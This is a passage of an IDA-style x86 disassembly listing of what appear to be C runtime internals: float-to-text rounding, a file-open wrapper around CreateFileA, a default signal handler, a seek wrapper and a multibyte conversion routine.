		jge	short loc_40B720


loc_40B75A:				; CODE XREF: sub_40B250+4FDj
		jmp	short loc_40B766
; ---------------------------------------------------------------------------


loc_40B75C:				; CODE XREF: sub_40B250+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_40B766:				; CODE XREF: sub_40B250:loc_40B75Aj
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_40B75C
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_40B77A:				; CODE XREF: sub_40B250+490j
		cmp	[ebp+var_44], 0
		jle	short loc_40B792
		fld	dbl_4100AC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_40B6E5


loc_40B792:				; CODE XREF: sub_40B250+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_40B7B5
; ---------------------------------------------------------------------------


loc_40B7AA:				; CODE XREF: sub_40B250+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_40B7B5:				; CODE XREF: sub_40B250+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_40B7AA
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40B7C8
		cmp	al, 46h
		jnz	short loc_40B7D2


loc_40B7C8:				; CODE XREF: sub_40B250+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B7D2:				; CODE XREF: sub_40B250+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40B7DD
		cmp	al, 45h
		jnz	short loc_40B7E6


loc_40B7DD:				; CODE XREF: sub_40B250+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B7E6:				; CODE XREF: sub_40B250+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_40B7ED:				; CODE XREF: sub_40B250+580j
					; sub_40B250+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40B80C
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40B80C:				; CODE XREF: sub_40B250+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_40B885
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40B834
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_40B834
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_40B83B
; ---------------------------------------------------------------------------


loc_40B834:				; CODE XREF: sub_40B250+5CDj
					; sub_40B250+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_40B83B:				; CODE XREF: sub_40B250+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_40B84F
; ---------------------------------------------------------------------------


loc_40B84A:				; CODE XREF: sub_40B250+60Fj
		sub	[ebp+var_12], 1


loc_40B84F:				; CODE XREF: sub_40B250+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_40B84A
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_40B872
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40B872:				; CODE XREF: sub_40B250+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_40B885
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_40B885:				; CODE XREF: sub_40B250+161j
					; sub_40B250+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40C3B0
		add	esp, 14h


loc_40B8A4:				; CODE XREF: sub_40B250+B4j
					; sub_40B250+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_40B250	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8B0	proc near		; CODE XREF: sub_40A5E0+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B8E0
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40B8B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8E0	proc near		; CODE XREF: sub_40B8B0+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_40B90F
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_40B91A
; ---------------------------------------------------------------------------


loc_40B90F:				; CODE XREF: sub_40B8E0+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_40B91A:				; CODE XREF: sub_40B8E0+2Dj
		test	ebx, 8000h
		jnz	short loc_40B92E
		test	ebx, 4000h
		jz	short loc_40B92E
		or	[ebp+var_1], 80h


loc_40B92E:				; CODE XREF: sub_40B8E0+40j
					; sub_40B8E0+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_40B941
		cmp	edi, 1
		jz	short loc_40B94A
		cmp	edi, 2
		jz	short loc_40B953
		jmp	short loc_40B95C
; ---------------------------------------------------------------------------


loc_40B941:				; CODE XREF: sub_40B8E0+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_40B96F
; ---------------------------------------------------------------------------


loc_40B94A:				; CODE XREF: sub_40B8E0+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_40B96F
; ---------------------------------------------------------------------------


loc_40B953:				; CODE XREF: sub_40B8E0+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_40B96F
; ---------------------------------------------------------------------------


loc_40B95C:				; CODE XREF: sub_40B8E0+5Fj
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40B96F:				; CODE XREF: sub_40B8E0+68j
					; sub_40B8E0+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_40B99C
		jg	short loc_40B981
		cmp	[ebp+arg_8], 10h
		jz	short loc_40B993
		jmp	short loc_40B9B7
; ---------------------------------------------------------------------------


loc_40B981:				; CODE XREF: sub_40B8E0+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_40B9A5
		jl	short loc_40B9B7
		cmp	[ebp+arg_8], 40h
		jz	short loc_40B9AE
		jmp	short loc_40B9B7
; ---------------------------------------------------------------------------


loc_40B993:				; CODE XREF: sub_40B8E0+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_40B9CA
; ---------------------------------------------------------------------------


loc_40B99C:				; CODE XREF: sub_40B8E0+95j
		mov	[ebp+var_28], 1
		jmp	short loc_40B9CA
; ---------------------------------------------------------------------------


loc_40B9A5:				; CODE XREF: sub_40B8E0+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_40B9CA
; ---------------------------------------------------------------------------


loc_40B9AE:				; CODE XREF: sub_40B8E0+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_40B9CA
; ---------------------------------------------------------------------------


loc_40B9B7:				; CODE XREF: sub_40B8E0+9Fj
					; sub_40B8E0+A9j ...
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40B9CA:				; CODE XREF: sub_40B8E0+BAj
					; sub_40B8E0+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_40BA4E
		jg	short loc_40B9FC
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_40BA33
		jg	short loc_40B9F1
		cmp	[ebp+var_3C], 0
		jz	short loc_40BA2A
		jmp	short loc_40BA57
; ---------------------------------------------------------------------------


loc_40B9F1:				; CODE XREF: sub_40B8E0+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_40BA45
		jmp	short loc_40BA57
; ---------------------------------------------------------------------------


loc_40B9FC:				; CODE XREF: sub_40B8E0+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_40BA3C
		jg	short loc_40BA13
		cmp	[ebp+var_3C], 400h
		jz	short loc_40BA2A
		jmp	short loc_40BA57
; ---------------------------------------------------------------------------


loc_40BA13:				; CODE XREF: sub_40B8E0+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_40BA45
		jl	short loc_40BA57
		cmp	[ebp+var_3C], 700h
		jz	short loc_40BA3C
		jmp	short loc_40BA57
; ---------------------------------------------------------------------------


loc_40BA2A:				; CODE XREF: sub_40B8E0+10Dj
					; sub_40B8E0+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_40BA6A
; ---------------------------------------------------------------------------


loc_40BA33:				; CODE XREF: sub_40B8E0+105j
		mov	[ebp+var_24], 4
		jmp	short loc_40BA6A
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8E0+124j
					; sub_40B8E0+146j
		mov	[ebp+var_24], 1
		jmp	short loc_40BA6A
; ---------------------------------------------------------------------------


loc_40BA45:				; CODE XREF: sub_40B8E0+118j
					; sub_40B8E0+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_40BA6A
; ---------------------------------------------------------------------------


loc_40BA4E:				; CODE XREF: sub_40B8E0+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_40BA6A
; ---------------------------------------------------------------------------


loc_40BA57:				; CODE XREF: sub_40B8E0+10Fj
					; sub_40B8E0+11Aj ...
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BA6A:				; CODE XREF: sub_40B8E0+151j
					; sub_40B8E0+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_40BA98
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_40BA98
		mov	[ebp+var_14], 1


loc_40BA98:				; CODE XREF: sub_40B8E0+197j
					; sub_40B8E0+1AFj
		test	ebx, 40h
		jz	short loc_40BAAE
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_40BAAE:				; CODE XREF: sub_40B8E0+1BEj
		test	ebx, 1000h
		jz	short loc_40BABD
		or	[ebp+var_14], 100h


loc_40BABD:				; CODE XREF: sub_40B8E0+1D4j
		test	ebx, 20h
		jz	short loc_40BACE
		or	[ebp+var_14], 8000000h
		jmp	short loc_40BADD
; ---------------------------------------------------------------------------


loc_40BACE:				; CODE XREF: sub_40B8E0+1E3j
		test	ebx, 10h
		jz	short loc_40BADD
		or	[ebp+var_14], 10000000h


loc_40BADD:				; CODE XREF: sub_40B8E0+1ECj
					; sub_40B8E0+1F4j
		call	sub_40A8D0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BAFC
		call	sub_4083A0
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BAFC:				; CODE XREF: sub_40B8E0+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD0	; CreateFileA
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB42
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_408240
		pop	ecx
		push	esi
		call	sub_40ACE0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BB42:				; CODE XREF: sub_40B8E0+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_40BB79
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CF8	; CloseHandle
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_408240
		pop	ecx
		push	esi
		call	sub_40ACE0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BB79:				; CODE XREF: sub_40B8E0+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_40BB85
		or	[ebp+var_1], 40h
		jmp	short loc_40BB8F
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: sub_40B8E0+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_40BB8F
		or	[ebp+var_1], 8


loc_40BB8F:				; CODE XREF: sub_40B8E0+2A3j
					; sub_40B8E0+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_40AAB0
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_40BC87
		test	eax, 80h
		jz	loc_40BC87
		test	ebx, 2
		jz	loc_40BC87
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_40BDF0
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BC1D
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 83h
		jz	loc_40BC87
		push	esi
		call	sub_408D80
		pop	ecx
		push	esi
		call	sub_40ACE0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BC1D:				; CODE XREF: sub_40B8E0+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_40C890
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40BC5F
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_40BC5F
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_40CC50
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BC5F
		push	esi
		call	sub_408D80
		pop	ecx
		push	esi
		call	sub_40ACE0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BC5F:				; CODE XREF: sub_40B8E0+352j
					; sub_40B8E0+358j ...
		push	0
		push	0
		push	esi
		call	sub_40BDF0
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BC87
		push	esi
		call	sub_408D80
		pop	ecx
		push	esi
		call	sub_40ACE0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BCB9
; ---------------------------------------------------------------------------


loc_40BC87:				; CODE XREF: sub_40B8E0+2E4j
					; sub_40B8E0+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_40BCB0
		test	ebx, 8
		jz	short loc_40BCB0
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_40BCB0:				; CODE XREF: sub_40B8E0+3ABj
					; sub_40B8E0+3B3j
		push	esi
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40BCB9:				; CODE XREF: sub_40B8E0+8Aj
					; sub_40B8E0+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B8E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCC0	proc near		; CODE XREF: sub_40A650+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AD50
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40BCE7
		or	eax, 0FFFFFFFFh
		jmp	loc_40BDE4
; ---------------------------------------------------------------------------


loc_40BCE7:				; CODE XREF: sub_40BCC0+1Dj
		cmp	ebx, 1
		jz	loc_40BDE2
		test	ebx, ebx
		jz	short loc_40BD0E
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40AD50
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BD0E:				; CODE XREF: sub_40BCC0+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_40BD63
		cmp	eax, 0Bh
		jg	short loc_40BD22
		jmp	dword ptr byte_4100E0[eax*4]
; ---------------------------------------------------------------------------


loc_40BD22:				; CODE XREF: sub_40BCC0+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_40BD5A
		jmp	short loc_40BD63
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_40BDB7
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_40BDB7
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_40BDB7
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_40BDB7
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_40BDB7
; ---------------------------------------------------------------------------


loc_40BD5A:				; CODE XREF: sub_40BCC0+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_40BDB7
; ---------------------------------------------------------------------------


loc_40BD63:				; CODE XREF: sub_40BCC0+54j
					; sub_40BCC0+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_40BD6D:				; CODE XREF: sub_40BCC0+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
		add	eax, edx
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40BD6D
		push	offset dword_411324
		push	offset aSignal	; "signal #"
		call	sub_40CE00
		add	esp, 8


loc_40BDB7:				; CODE XREF: sub_40BCC0+71j
					; sub_40BCC0+7Dj ...
		push	offset dword_411324
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40CE00
		add	esp, 8
		push	offset dword_411324
		push	offset aTerminating ; "	-- terminating\n"
		call	sub_40CE00
		add	esp, 8
		push	1
		call	sub_4079E0
		pop	ecx


loc_40BDE2:				; CODE XREF: sub_40BCC0+2Aj
					; sub_40BCC0+49j
		xor	eax, eax


loc_40BDE4:				; CODE XREF: sub_40BCC0+22j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BCC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDF0	proc near		; CODE XREF: sub_40A670+4Bp
					; sub_40B8E0+306p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AB60
		pop	ecx
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BE19
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BE62
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40BDF0+17j
		mov	eax, [ebp+arg_8]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		push	edi
		call	dword_411E14	; SetFilePointer
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BE45
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		call	sub_408240
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BE62
; ---------------------------------------------------------------------------


loc_40BE45:				; CODE XREF: sub_40BDF0+41j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		and	byte ptr [eax],	0FDh
		mov	eax, esi


loc_40BE62:				; CODE XREF: sub_40BDF0+27j
					; sub_40BDF0+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BDF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		cmp	ebx, dword_413A88
		jnb	short loc_40BE9B
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_40BEAB


loc_40BE9B:				; CODE XREF: DMN0:0040BE7Ej
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_40BECE
; ---------------------------------------------------------------------------


loc_40BEAB:				; CODE XREF: DMN0:0040BE99j
		push	ebx
		call	sub_40AC80
		pop	ecx
		mov	eax, [ebp+10h]
		push	eax
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_40BDF0
		add	esp, 0Ch
		mov	esi, eax
		push	ebx
		call	sub_40ACE0
		pop	ecx
		mov	eax, esi


loc_40BECE:				; CODE XREF: DMN0:0040BEA9j
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEE0	proc near		; CODE XREF: sub_40AEB0+9Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		cmp	off_411924, 0
		jnz	loc_40BFC7
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_40BF1B
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_410194
		mov	ebx, dword_410198
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_40C11D
; ---------------------------------------------------------------------------


loc_40BF1B:				; CODE XREF: sub_40BEE0+1Ej
		test	[ebp+arg_4], 0FF80h
		jnz	short loc_40BF3B
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		mov	[eax], dl
		mov	[ebp+var_4], 0
		jmp	short loc_40BFB4
; ---------------------------------------------------------------------------


loc_40BF3B:				; CODE XREF: sub_40BEE0+41j
		test	[ebp+arg_4], 0F800h
		jnz	short loc_40BF64
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 6
		or	edx, 0C0h
		mov	[eax], dl
		mov	[ebp+var_4], 1
		jmp	short loc_40BFB4
; ---------------------------------------------------------------------------


loc_40BF64:				; CODE XREF: sub_40BEE0+61j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		movzx	edx, [ebp+arg_4]
		sar	edx, 0Ch
		and	edx, 0Fh
		or	edx, 0E0h
		mov	[eax], dl
		mov	[ebp+var_4], 2
		jmp	short loc_40BFB4
; ---------------------------------------------------------------------------


loc_40BF88:				; CODE XREF: sub_40BEE0+D8j
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_4]
		dec	edx
		mov	[ebp+var_4], edx
		movzx	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		lea	ecx, [edx+edx*2]
		add	ecx, ecx
		mov	edx, [ebp+var_C]
		sar	edx, cl
		and	edx, 3Fh
		or	edx, 80h
		mov	[eax], dl


loc_40BFB4:				; CODE XREF: sub_40BEE0+59j
					; sub_40BEE0+82j ...
		cmp	[ebp+var_4], 0
		jg	short loc_40BF88
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		sub	eax, edx
		jmp	loc_40C11D
; ---------------------------------------------------------------------------


loc_40BFC7:				; CODE XREF: sub_40BEE0+Ej
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		mov	byte ptr [ebp+var_4+3],	al
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_40C012
		mov	eax, [ebp+arg_8]
		mov	ecx, dword_410194
		mov	ebx, dword_410198
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_40C11D
; ---------------------------------------------------------------------------


loc_40C012:				; CODE XREF: sub_40BEE0+10Aj
					; sub_40BEE0+229j
		mov	al, byte ptr [ebp+var_4+3]
		cmp	al, 10h
		jnb	short loc_40C058
		movzx	eax, al
		mov	eax, off_411964[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jz	short loc_40C058
		movzx	eax, byte_4118A0
		cmp	[ebp+var_8], eax
		jge	short loc_40C058
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_40C058
		movzx	eax, byte ptr [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_12], ax
		test	ax, ax
		jnz	short loc_40C06B


loc_40C058:				; CODE XREF: sub_40BEE0+137j
					; sub_40BEE0+148j ...
		call	sub_4083A0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_40C11D
; ---------------------------------------------------------------------------


loc_40C06B:				; CODE XREF: sub_40BEE0+176j
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	byte ptr [ebp+var_4+3],	dl
		test	eax, 8000h
		jz	short loc_40C097
		movzx	eax, [ebp+arg_4]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_12]
		or	eax, edx
		mov	[ebp+arg_4], ax


loc_40C097:				; CODE XREF: sub_40BEE0+1A2j
		test	[ebp+var_12], 1000h
		jz	short loc_40C0B9
		movzx	eax, [ebp+arg_4]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
